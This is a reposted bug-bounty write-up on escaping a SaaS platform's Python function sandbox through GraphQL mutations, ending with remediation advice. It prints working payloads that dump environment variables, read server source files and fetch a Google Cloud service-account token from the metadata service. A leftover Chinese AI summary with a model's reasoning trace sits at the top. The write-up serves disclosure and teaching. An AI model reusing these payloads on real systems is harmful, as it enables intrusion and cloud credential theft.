GraphQL RCE: The Kill Chain to Cloud Identity…!
好的,我现在需要帮用户总结这篇文章的内容,控制在100字以内。首先,我得仔细阅读文章,理解其主要内容。 文章主要讲述了一个安全研究人员如何利用SaaS平台中的自定义Python函数漏洞,逐步实现从普通用户到完全控制云基础设施的过程。他首先通过GraphQL查询获取资源ID,然后注入恶意Python脚本,利用沙盒环境中的一个细节漏洞(缺少设置__builtins__)成功执行远程代码(RCE)。接着,他进一步读取服务器源代码,发现更多漏洞,并最终通过访问Google Cloud的元数据服务获取了生产服务账户的JWT令牌,从而完全接管了云身份。 总结下来,文章详细描述了漏洞利用的各个阶段:从初始访问到RCE,再到源代码窃取和最终的身份接管。同时,作者还给出了开发者的修复建议,如严格沙盒、网络加固和隔离措施。 现在需要将这些内容浓缩到100字以内。我需要抓住关键点:SaaS平台漏洞、自定义函数、RCE、云身份接管、修复建议。 可能的结构是:描述攻击过程和结果,然后提到修复措施。 比如:“文章描述了一名研究人员如何利用SaaS平台中的自定义Python函数漏洞,逐步实现从普通用户到完全控制云基础设施的过程。通过注入恶意脚本和利用沙盒环境中的细节漏洞,成功执行远程代码并获取生产服务账户的JWT令牌。文章强调了严格沙盒、网络加固和隔离措施的重要性。” 这样大约在100字左右。 </think> 文章描述了一名研究人员如何利用SaaS平台中的自定义Python函数漏洞,逐步实现从普通用户到完全控制云基础设施的过程。通过注入恶意脚本和利用沙盒环境中的细节漏洞(如缺少设置`__builtins__`),成功执行远程代码(RCE),并最终获取生产服务账户的JWT令牌,实现云身份接管。文章强调了严格沙盒、网络加固和隔离措施的重要性。 2026-4-14 14:48:4 Author: infosecwriteups.com(查看原文) 阅读量:16 收藏

Press enter or click to view image in full size

MPGODMATCH

From a simple query to Production “God Mode…!”

Imagine this: You’re logged into a modern SaaS platform…It’s sleek, it’s fast, and it has one killer feature — Custom Python Functions…To a regular user, it’s a productivity tool…To a hunter, it’s a doorway…!

In my previous guide, I showed you how to find the door.…Today, I’m going to show you how I picked the lock, walked through the house, and walked out with the keys to the entire Cloud Infrastructure…!

This is the story of a race from a “Viewer” account to a Full Cloud Identity Compromise…!

The Hook: The Illusion of the Sandbox…!

Modern applications love “User-Defined Logic.” Whether it’s spreadsheet formulas or custom scripts, they all share one thing: they run in a Sandbox…!

Developers build these sandboxes to keep us in a playground…But as hunters, our job is to find the loose board in the fence…!

Mindset: A sandbox is only as strong as its smallest oversight…If the server executes code, it’s not a question of ‘if’ you can escape, but ‘how’…!

Phase 1: Mapping the Terrain…!

Every great heist starts with a map…In GraphQL, that map is Graphql Introception Query and your resource IDs…I needed a valid workspaceId and appId to trigger any logic…A quick enumeration query gave me exactly what I needed…!

The Discovery Query:

query EnumerateResources {
getMyUser {
workspaces {
id # [TARGET_WORKSPACE_UUID]
folders {
apps {
id # [TARGET_APP_UUID]
}
}
}
}
}

With these IDs in my pocket, I was no longer just a visitor…I was a participant…!

Press enter or click to view image in full size

Press enter or click to view image in full size

Phase 2: Finding the Loose Board…!

The application offered a mutation called createUserDefinedFunction…It promised to run Python code…!

The Exploit Injection:
We injected a function named hack_rce_v3 that imports the os module to dump environment variables…!

mutation InjectPythonV3 {
createUserDefinedFunction(input: {
workspaceId: “d6352aa3–9b59–44c9–9beb-cc4d0f260352”,
appId: “195306b2–80ca-4fa6-b420–760becb262ea”,
function: {
name: “hack_rce_v3”,
minArguments: 0,
maxArguments: 0,
arguments: [],
description: “RCE Test V3”,
usageExample: “=hack_rce_v3()”,
function: {
# PAYLOAD: Bypasses sandbox by using __import__ inline
pythonScript: “str(__import__(‘os’).environ)”
}
}
})
}

Press enter or click to view image in full size

Triggering Execution:

mutation TriggerRCE_V3 {
evalFormula(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
formula: "=hack_rce_v3()",
trigger: DATA_TABLE
}) {
displayValue
}
}

Press enter or click to view image in full size

The Result: The server whispered back…I saw GAE_RUNTIME: python313, internal proxies, and working directories, RCE Confirmed…I was inside the container…!

Phase 3: The Whitebox Pivot…!

RCE is a spark, but source code is a floodlight…I used the subprocess module to read the server's own heart—its backend logic…!

By executing cat /workspace/main.py, I realized the app was importing a module called python_function.function…I followed the trail and found the "Smoking Gun" in the sandbox logic:

Get MPGODMATCH’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Reading main.py:

mutation InjectReadFile {
createUserDefinedFunction(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
function: {
name: "hack_read_main",
minArguments: 0,
maxArguments: 0,
arguments: [],
description: "Exfiltrate Source",
usageExample: "=hack_read_main()",
function: {
pythonScript: "str(__import__('subprocess').check_output(['cat', '/workspace/main.py']))"
}
}
})
}

Press enter or click to view image in full size

mutation TriggerRCE_V3 {
evalFormula(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
formula: "=hack_rce_main()",
trigger: DATA_TABLE
}) {
displayValue
}
}

Press enter or click to view image in full size

From the response of Main.py:


# The vulnerability in the server's own code:
global_ns = { "xl": xl, "xl_rows": xl_rows }
exec(compile(tree, filename="", mode="exec"), global_ns, global_ns)

The Flaw: They passed global_ns but forgot to set __builtins__: {}. Because of that one missing line, my __import__ payload worked perfectly…!

I also read many other internal files, also did the SSRF, But I have more interesting impact showing POC…!

Phase 4: The “Kill Shot” — Cloud Identity…!

Now, I had a choice…I could stop at RCE…But I looks for the Impact…!

I targeted the Google Cloud Metadata Service (the famous 169.254.169.254)…Most containers are firewalled from the outside world, but they often trust their internal "Metadata" mother-ship…!

I crafted one final payload to exfiltrate the OIDC Identity Token (JWT)…This isn’t just a password; it’s a digital passport that says “I am the Production Server…!”

The Final Mutation:

mutation InjectIDToken {
createUserDefinedFunction(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
function: {
name: "hack_get_jwt",
minArguments: 0,
maxArguments: 0,
arguments: [],
description: "Get OIDC Identity Token",
usageExample: "=hack_get_jwt()",
function: {
# Fetches the signed JWT from the internal metadata server
pythonScript: "str(__import__('subprocess').check_output(['curl', '-s', '-H', 'Metadata-Flavor: Google', 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://google.com&format=full']))"
}
}
})
}

Press enter or click to view image in full size

mutation TriggerIDToken {
evalFormula(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
formula: "=hack_get_jwt()",
trigger: DATA_TABLE
}) {
displayValue
}
}

Press enter or click to view image in full size

The Response: A massive, signed JWT…!

I decoded the token, and there it was: [email protected]…!

I had gone from a simple user to holding the production identity of a Google Cloud Service Account…Game Over…!

The Heart of the Matter: Why This Matters…!

When we talk about “Hacking,” people think of movies…But the reality is much more human…It’s about curiosity…It’s about seeing a “Custom Function” button and wondering, “What happens if I ask for more than I’m supposed to…?”

To the developers: Security is about the details…One missing dictionary key (__builtins__) turned a feature into a total compromise…!

To my fellow hunters: Follow the chain…Don’t stop at the error message…Don’t stop at the environment variables…Push until you find the identity of the machine itself…Sorry for these same kind of motivation you probably see in every post, but YUP I have to maintain the standard of medium…!😉😅

Final Impact:

  • Arbitrary Command Execution (RCE)…!
  • Full Backend Source Code Theft…!
  • SSRF to Internal Cloud Services…!
  • Production Service Account Takeover…!

Remediation for Developers:

  1. Strict Sandboxing: If you use exec(), always use {'__builtins__': {}}…!
  2. Network Hardening: Firewall the Metadata IP (169.254.169.254) from user-code environments…!
  3. Isolation: Run user code in “Zero Trust” micro-VMs (like Firecracker or gVisor)…!

Stay curious…Stay ethical…And keep hunting…!

If you enjoyed this deep dive, share it with your team and follow for more “Kill Chain” stories…Let’s make the web safer, one mutation at a time…!


文章来源: https://infosecwriteups.com/graphql-rce-the-kill-chain-to-cloud-identity-324699602931?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh